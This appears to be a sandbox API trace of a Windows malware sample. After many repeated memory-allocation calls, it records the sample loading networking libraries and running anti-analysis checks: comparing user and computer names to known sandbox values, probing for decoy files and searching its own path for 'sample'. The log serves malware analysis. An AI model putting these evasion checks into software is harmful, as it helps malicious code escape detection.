[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.922] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.923] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.924] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.925] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.926] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.927] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.928] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.929] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.930] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.932] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.314] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0055.314] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0055.314] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0055.314] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0055.314] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0055.314] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0055.314] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0055.314] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0055.314] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0055.314] GetUserNameA (in: lpBuffer=0x12fc9c, pcbBuffer=0x12fa98 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x12fa98) returned 1
[0055.318] GetComputerNameA (in: lpBuffer=0x12fb9c, nSize=0x12fa98 | out: lpBuffer="ZJEWV7F", nSize=0x12fa98) returned 1
[0055.318] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x12fa9c, nSize=0x12fa98 | out: lpBuffer="ZjEwV7f", nSize=0x12fa98) returned 1
[0055.318] lstrcmpA (lpString1="ZJEWV7F", lpString2="TEQUILABOOMBOOM") returned 1
[0055.320] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="Wilbert") returned -1
[0055.320] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0055.320] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0055.320] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John Doe") returned -1
[0055.320] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John") returned -1
[0055.320] CreateFileA (lpFileName="C:\\email.doc" (normalized: "c:\\email.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.321] CloseHandle (hObject=0xffffffff) returned 0
[0055.321] CreateFileA (lpFileName="C:\\a\\foobar.bmp" (normalized: "c:\\a\\foobar.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.321] CloseHandle (hObject=0xffffffff) returned 0
[0055.321] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0055.321] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12fcb0, nSize=0x103 | out: lpFilename="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")) returned 0x2e
[0055.321] StrStrIA (lpFirst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpSrch="sample") returned 0x0
